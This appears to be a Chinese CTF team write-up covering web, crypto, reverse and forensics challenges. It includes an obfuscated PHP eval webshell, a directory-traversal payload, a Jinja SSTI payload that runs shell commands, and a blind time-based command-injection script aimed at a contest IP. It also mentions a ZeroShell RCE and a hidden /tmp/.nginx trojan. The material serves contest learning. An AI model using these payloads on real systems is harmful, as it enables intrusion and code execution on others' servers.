团队wp
Web
hello_web
对hackme.php
进行二次目录穿越得到源码
?file=....//hackme.php
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
printf('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
?>
简单的解密调整一下
得到一个一句话,蚁剑直接连可以查看文件
里面慢慢找
flag{6baf34cf-5061-48c5-967a-64bcec7d12cf}
Safe_Proxy
过滤了 __ import 等 没有过滤引号和中括号其实都⽆所谓 ⽤拼接都可以搞定
{{lipsum['_''_glo''bals_''_']['o''s']['pop''en']('whoami').read()}}
.、⽆回显,不出网,用盲注cut -c 1 /flag |grep -q '^f' && sleep
判断第一个字符是否为f
import requests
import time
import string
from requests.exceptions import Timeout
str="1234567890abcdefgl{}-"
flag=""
burp0_url = "http://101.200.33.218:20500"
for i in range(1,50):
for n in str:
start = time.time()
burp0_data = {
"code": "{{lipsum['_''_glo'+'bals_''_']['_''_bui'+'ltins_''_']
['_''_imp'+'ort_''_']('o'+'s')['pop'+'en'](request.values.a)['read']()}}",
"a": f"cut -c {i} /flag |grep -q '^{n}' && sleep 1"}
print(burp0_data)
s=time.time()
r=requests.post(burp0_url,burp0_data)
z=time.time()
e=z-s
#print(e)
if e >2:
flag = flag + n
print(flag)
break
进行盲注得到flag
Crypto
rasnd
根据给出的 hint1
和 hint2
,可以通过以下步骤解线性方程组来恢复 p
和 q
:
hint1 = x1 * p + y1 * q - 0x114
hint2 = x2 * p + y2 * q - 0x514
可以通过对方程组使用高斯消元法或者求解线性同余方程来得到 p
和 q
之后正常运算可以得到第一部分的flag1
第二部分根据hint = pow(514*p - 114*q, n - p - q, n)
使用 sympy.symbols
定义了符号 p
和 q
,并使用 sympy.solve
解这个二次方程系统
最后上exp
import sympy
from Crypto.Util.number import long_to_bytes, inverse
n=15571456267986315488975723450356345087718335860973425041970526062930678688004877472726692863395333820715771568748899746804239389792324773568293400777592369432033399734229826101839405881858154686883562826168531586485886050368427196622050408747529737560948695189431114477125298155206637472981918243135167693202309064540922544817772421677213516681938382724861247526776919418570681370914319059765208725653435286286369262432432738585115819967126015242864913276779548384773368888797638794486637029828926014322758088067062520338563751174949660352641832306723543679983405536001018373066819012751957373602270491261781943692451
c=10138159256617683671344371395383684051460639588039456122325582895268006024549438120246385926787371141878966286026141627264126118315244479763745981575785395672281132108975400831181100543899707558636529802723530981072916480954510365398900664845121793225380216608977152511584554076316206842663320464522427711864146084967671778711501213500811448393308352054539481554472015482310490001587379613563243102825960886944440637550704993295302474930860549369906857984817998884327137825810988790815501164876274709874835804927744396044745242295778821526054765192646642691216550898413138608168464057274447288498347809508391874078150
hint1=1113527763851290635928054349628822672712406038367490409391989362204138038707491353066059662457399240222604310120418974560896417378634356219401939936772013139208736144240188110954774381034869540545991209553704416040566662192133639921119681380540151370140950225855384990639360874116246929526335724393709704555523397061113330986308841161704834262
hint2=469145226081975102962707185744965418652551771390251982857238564862954592116851382039187942830551376694597289784973911249420303012543547700451423671709885139971507599078588448467028804611757858225001254126217370283415795283632126975858507813863309002905812901139852730404269024645020684848348269606634111739435265103863588056568400805000368719594936497885834095554649750685271716303431151114077043445646815264749604414760396794054063488358276670477132717547675321
e = 0x10001
# for x in range(2**11):
# for y in range(2**11):
# ans=y*(hint1+0x114)-x*(hint2+0x514)
# p=GCD(ans,n)
# if p.bit_length()==1024:
# print(p)
# break
#算出p
p=151741449960602674181569548778219268574805684003292009805579666410744061961373812541212384620302855757363584237178778709542180869569625693820045588037555520865515482079040715280747528266802005016049156365506475387927030507693557409190538210793353752981314744388403447028332106171553391017704103813637740862483
q=n//p
d=inverse(e,(p-1)*(q-1))
m1=pow(c,d,n)
print(long_to_bytes(m1))
n=9523124278093384380137333796758753281078612236079561486983945889780721207303549023303024440841627286405083125348744572351407091836171529244116187461606526665489207688519350470776636227195291535792285788312129885484606054185703618606874074966991041342400017839018587051618282195708479456873682987062969979049686487019441267029672031951160292394756827410978399983038083933308302196554964247040939791805560327993003047235997533659068506554360092592221284392413413594396846796603833878975931951996578980236630697909533117075044941085923033995318733990040988578726539657031652194674795368301571263954308236125072336742923
c=5273734494284054855490964797863549169365387814218439735266313777477824453168799965307592110444580631054190027479890646137568318684109204541297014987016330040377681900747865115463362762227883757575533147626609621563389383184624472025300729208542931331787962981165071651576701100539444726312887872996143702786937863406051088668813351236789364969646856084064479216203639171930681218044535160987239658126771711615002965807383203174258609586140600267661785003086555740614073305327903630154724987132488332825809842362149617410125406472752794473443433328002891445187606767643851176181189236584321291501946747955450825337033
hint=1052848157151138296179828680888309290261479029245209315287220839177795554990470575133261126960559387010458830758081463546363724848842523816860646275667995619135052897345272796475886486666463671774915373269700438043172153452449283423126701065539997463346668816755324361359119216062088420688050942800819547385579126190005910615363484848310083718699134226164273364002263958376395926755573872333534644445031958615742294082987515753336608958799143473898769727849924237694896994812906095295678572804928722865686728618259328243136774940336395674340740682322309070700712820608390084140662856314659282525733874060310943099081
x=inverse(hint,n)
p,q=sympy.symbols('p q')
f1=p*q-n
f2=514*p-114*q-x
result=sympy.solve([f1,f2],[p,q])
print(result)
p=103559096099649916097603875438251576043876012092267214914368235618133473407356412345986965585985305784772503201577573675950002938623693666053281855135481077032093277321146517906332643773867157427273131714270750558193445453250839897965711273142676548868317141772599118150907904766529213031946296536674546180681
q=91958356501390682961351906577181171330031315784376936623805197777515493865196381556112411554260456210547139323494708970744923880488405569381440989350001420970905191346462257978335032428913780454285094938132336821895985702324445944779854726782432741869179012526792766331985471472521593687648140582262858754483
d=inverse(e,(p-1)*(q-1))
m2=pow(c,d,n)
print(long_to_bytes(m2))
#拼接flag
print(long_to_bytes(m1)+long_to_bytes(m2))
Re
dump
是一下发现编码对应字符
生成一个对应表,写脚本手撸
a="02030405060708090a0b0c0d0e0f101112131415161718191a1b1e1f202122232425262728292a2b2c2d2e2f30313233343536371c1d3839"
b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz12{}"
for i in range(len(b)):
print(chr(i))
print(b[i],a[2*i:2*i+2])
#23291e24380e1520370e0520000e37121d0f24010139
#flag{MTczMDc4MzQ2Ng==}
ezCsky
猜一手rc4+xor
enc
key
rc4一下,发现结尾是}
再往前异或,即flag
enc=[0x0a,0x0d,0x06,0x1c,0x1f,0x54,0x56,0x53,0x57,0x51,0x00,0x03,0x1d,0x14,0x58,0x56,0x03,0x19,0x1c,0x00,0x54,0x03,0x4b,0x14,0x58,0x07,0x02,0x49,0x4c,0x02,0x07,0x01,0x51,0x0c,0x08,0x00,0x01,0x00,0x03,0x00,0x4f,0x7d]
length=len(enc)
for i in range(length-1):
enc[length-i-2]^=enc[length-i-1]
flag = ''.join(chr(i) for i in enc)
print(flag)
威胁检测与网络流量分析
zeroshell_1
搜一下base64加密的flag头
flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}
zeroshell_2
CVE-2019-12715 zeroshell3.9.0 RCE
直接find / -name flag找到flag
或者livecd直接看
zeroshell_3
netstat -ano一直循环执行可以发现内容会隔一段时间多出一段,发现是多出了一个进程,端口47000开始往后端口有规律的变化,提交此ip
zeroshell_4
找了半天没找着,想起之前做的题会用.隐藏恶意文件,在几个目录下寻找后,最终在/tmp下找到.nginx,查看发现是ELF开头,怀疑是木马
zeroshell_5
直接从机子里提出来IDA分析,或者直接DG,Shift+F12 转到ip连接的函数下面就是
zeroshell_6
直接DG挂载虚拟磁盘,把数据掏出来上seay直接全局扫描.nginx
WinFT_1
内存直接看出ip和恶意进程,记事本打开进程往下翻直接得到域名
WinFT_2
取证大师取证发现添加了两条计划任务,时间逆序发现是powershell启动项,base64解密出flag
WinFT_5
题目提示压缩包,直接http contains "PK"或者http contains “flag”
压缩包损坏是骗人的md,能直接解,以为要修修了半天,直接解带flag.txt的直接出
密码是base64解密的注释